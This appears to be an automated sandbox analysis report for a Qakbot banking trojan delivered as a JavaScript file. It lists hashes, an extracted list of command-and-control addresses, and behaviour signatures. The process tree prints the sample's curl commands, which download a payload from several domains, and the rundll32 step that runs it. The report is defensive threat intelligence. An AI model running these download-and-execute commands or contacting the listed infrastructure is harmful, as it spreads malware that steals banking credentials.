qakbot | abcf1bdff27ee3068069fe48df91980f2aecb5163f47234afe6de94fa8ff3a66

Analysis

max time kernel
150s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2023, 09:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CalculationOfCosts-682392960.js
Size 464KB
Sample230615-lbbehsff6s
SHA256 abcf1bdff27ee3068069fe48df91980f2aecb5163f47234afe6de94fa8ff3a66
MD5 86d04c23e01dee18584a919472874806
SHA1 530df1f12eb542deb1b9c6c87774d99b5b484e8f
SHA512 ac40379d39f62a7e4396e1f3c8b5e20ada14bcd1c00f39d8485b908c70d2e439d2105c2bc182e09012d07be8bdfe491adb8b3c2ca0604d0aabca70c66babc047
SSDEEP 6144:LmFamddP19SiU+g9ITla9MGNs9yec26VZU6BboaI7CRY7kkht:oLU3+gPZUW0N
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

qakbot obama268 1686733312 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.1374

Botnet

obama268

Campaign

1686733312

125.99.76.102:443
80.12.88.148:2222
109.149.147.195:2222
27.99.32.26:2222
70.28.50.223:3389
70.28.50.223:32100
86.97.96.62:2222
66.241.183.99:443
74.12.146.45:2222
190.199.147.209:2222
47.205.25.170:443
12.172.173.82:993
12.172.173.82:22
84.35.26.14:995
72.134.124.16:443
85.240.173.251:2078
50.68.186.195:443
65.190.242.244:443
45.62.75.217:443
203.109.44.236:995
174.58.146.57:443
105.184.159.9:995
94.207.115.105:443
197.0.146.211:443
197.204.11.218:443
92.9.45.20:2222
91.169.12.198:32100
12.172.173.82:20
70.64.77.115:443
71.31.9.49:995
24.234.220.88:990
95.45.50.93:2222
213.91.235.146:443
189.223.184.79:443
213.64.33.92:2222
47.34.30.133:443
70.28.50.223:2087
12.172.173.82:465
67.219.197.94:443
103.140.174.20:2222
12.172.173.82:995
90.29.86.138:2222
37.14.229.220:2222
89.181.227.42:2222
62.35.230.21:995
70.160.67.203:443
88.126.94.4:50000
203.219.204.180:443
147.219.4.194:443
92.20.204.198:2222
24.234.220.88:993
188.28.19.84:443
89.115.200.234:443
67.87.119.216:2083
86.98.222.20:443
161.142.100.114:995
103.139.242.6:443
103.123.223.153:443
24.234.220.88:995
102.158.231.164:443
175.156.65.126:2222
41.227.190.59:443
178.175.187.254:443
180.151.13.23:2078
12.172.173.82:50001
116.75.63.143:443
74.12.146.45:2083
78.192.109.105:2222
37.186.55.8:2222
121.121.100.202:995
104.35.24.154:443
199.27.66.213:443
181.165.19.254:443
81.229.117.95:2222
12.172.173.82:21
45.2.61.134:3389
162.248.14.107:443
103.212.19.254:995
2.82.8.80:443
103.144.201.63:2078
114.143.176.237:443
103.113.68.33:443
77.126.99.230:443
47.21.51.138:443
197.86.195.10:443
36.152.128.2:2222
12.172.173.82:32101
86.248.228.57:2078
92.149.250.113:2222
70.28.50.223:1194
82.127.153.75:2222
78.159.145.7:995
82.125.44.236:2222
24.234.220.88:465
64.121.161.102:443
187.199.244.117:32103
122.184.143.86:443
79.168.224.165:2222
65.30.139.145:995
151.62.174.154:443
124.122.47.148:443
31.190.240.11:443
92.239.81.124:443
31.53.29.210:2222
172.115.17.50:443
70.28.50.223:2083
124.149.143.189:2222
176.142.207.63:443
201.244.108.183:995
47.199.241.39:443
98.4.43.111:443
91.68.227.219:443
89.129.109.27:2222
67.87.119.216:2078
86.195.14.72:2222
72.205.104.134:443
1.221.179.74:443
58.162.223.233:443
49.175.72.81:443

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
4924	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3308	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4924	rundll32.exe
4924	rundll32.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe
1660	wermgr.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3212 wrote to memory of 4888	3212	wscript.exe	90
PID 3212 wrote to memory of 4888	3212	wscript.exe	90
PID 3212 wrote to memory of 3444	3212	wscript.exe	92
PID 3212 wrote to memory of 3444	3212	wscript.exe	92
PID 3212 wrote to memory of 4808	3212	wscript.exe	94
PID 3212 wrote to memory of 4808	3212	wscript.exe	94
PID 3212 wrote to memory of 2280	3212	wscript.exe	96
PID 3212 wrote to memory of 2280	3212	wscript.exe	96
PID 3212 wrote to memory of 2700	3212	wscript.exe	98
PID 3212 wrote to memory of 2700	3212	wscript.exe	98
PID 3212 wrote to memory of 2052	3212	wscript.exe	100
PID 3212 wrote to memory of 2052	3212	wscript.exe	100
PID 3212 wrote to memory of 3180	3212	wscript.exe	102
PID 3212 wrote to memory of 3180	3212	wscript.exe	102
PID 4888 wrote to memory of 3496	4888	cmd.exe	103
PID 4888 wrote to memory of 3496	4888	cmd.exe	103
PID 3444 wrote to memory of 2708	3444	cmd.exe	105
PID 3444 wrote to memory of 2708	3444	cmd.exe	105
PID 4808 wrote to memory of 5068	4808	cmd.exe	106
PID 4808 wrote to memory of 5068	4808	cmd.exe	106
PID 2280 wrote to memory of 4724	2280	cmd.exe	107
PID 2280 wrote to memory of 4724	2280	cmd.exe	107
PID 2700 wrote to memory of 1136	2700	cmd.exe	108
PID 2700 wrote to memory of 1136	2700	cmd.exe	108
PID 2052 wrote to memory of 808	2052	cmd.exe	109
PID 2052 wrote to memory of 808	2052	cmd.exe	109
PID 3180 wrote to memory of 3308	3180	cmd.exe	110
PID 3180 wrote to memory of 3308	3180	cmd.exe	110
PID 3180 wrote to memory of 3004	3180	cmd.exe	111
PID 3180 wrote to memory of 3004	3180	cmd.exe	111
PID 3004 wrote to memory of 4924	3004	rundll32.exe	112
PID 3004 wrote to memory of 4924	3004	rundll32.exe	112
PID 3004 wrote to memory of 4924	3004	rundll32.exe	112
PID 4924 wrote to memory of 1660	4924	rundll32.exe	113
PID 4924 wrote to memory of 1660	4924	rundll32.exe	113
PID 4924 wrote to memory of 1660	4924	rundll32.exe	113
PID 4924 wrote to memory of 1660	4924	rundll32.exe	113
PID 4924 wrote to memory of 1660	4924	rundll32.exe	113
PID 4924 wrote to memory of 1660	4924	rundll32.exe	113

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\CalculationOfCosts-682392960.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://rapiska.com/0.9724638257989298.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\system32\curl.exe
    curl https://rapiska.com/0.9724638257989298.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:3496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://tamimak.com/0.23270883613951981.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\system32\curl.exe
    curl https://tamimak.com/0.23270883613951981.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://corfinka.com/0.9772073749633654.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\system32\curl.exe
    curl https://corfinka.com/0.9772073749633654.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:5068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://qderika.com/0.6916858995970447.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\curl.exe
    curl https://qderika.com/0.6916858995970447.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://bilaska.com/0.16607868964152161.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2700
- - C:\Windows\system32\curl.exe
    curl https://bilaska.com/0.16607868964152161.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:1136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://nirause.com/0.0997298963016015.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\curl.exe
    curl https://nirause.com/0.0997298963016015.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3180
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:3308
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4924
    - - C:\Windows\SysWOW64\wermgr.exe
        
        C:\Windows\SysWOW64\wermgr.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1660

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 d6ab8a8e7995260ce0bb70b4d9764634d4c631e7d457d03c414ef0d1329938a4
MD5 d6393e221abb59347730580cf98259ed
SHA1 54671a91c99f02cd5cc50df10c4fdc762828dc58
SHA512 13fc19ea53385de514bc0c77fbf0d3854d6c62da6745a7d0b2587821009f5ffcd324636be55066ef6040c950068927bd62811eb0352b1e622a5e7d77a2e32b65
SSDEEP 3072:acmEiRi6iViaejWEZrdf6C6X+44fVpAbWHOj70U5ogGjnPnzAE/gNjbeXj1TLUDc:cRixgWEZ5eXqpyNj7R5o9nPz7gS1Tz9
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 07cc9d6a52e44c4a0f1b1208eb49bc69e9f29b32cd12716563c47a8e40685a28
MD5 eaad6d557cd1c2f1b556b74a2dd06819
SHA1 b12b656c1f36b74615213803b73ace0cb55f6e17
SHA512 ff5e29ce0758a2011806d48048a26005be9979b61e2a1375273e19e26ba825bec0d9e60264db3bdfe28c8ae34f36206eb4ee25c4f59ec59ac778e4b69a4a9a71
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1Tzx:cRwBEZp11EFcUTzx
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 07cc9d6a52e44c4a0f1b1208eb49bc69e9f29b32cd12716563c47a8e40685a28
MD5 eaad6d557cd1c2f1b556b74a2dd06819
SHA1 b12b656c1f36b74615213803b73ace0cb55f6e17
SHA512 ff5e29ce0758a2011806d48048a26005be9979b61e2a1375273e19e26ba825bec0d9e60264db3bdfe28c8ae34f36206eb4ee25c4f59ec59ac778e4b69a4a9a71
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1Tzx:cRwBEZp11EFcUTzx
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1660-162-0x0000000000860000-0x0000000000884000-memory.dmp

Download

memory/1660-164-0x0000000000860000-0x0000000000884000-memory.dmp

Download

memory/1660-152-0x0000000000890000-0x0000000000892000-memory.dmp

Download

memory/1660-153-0x0000000000860000-0x0000000000884000-memory.dmp

Download

memory/1660-163-0x0000000000860000-0x0000000000884000-memory.dmp

Download

memory/1660-159-0x0000000000860000-0x0000000000884000-memory.dmp

Download

memory/1660-161-0x0000000000860000-0x0000000000884000-memory.dmp

Download

memory/4924-146-0x0000000000E80000-0x0000000000E83000-memory.dmp

Download

memory/4924-160-0x00000000647C0000-0x0000000064802000-memory.dmp

Download

memory/4924-147-0x0000000010000000-0x0000000010024000-memory.dmp

Download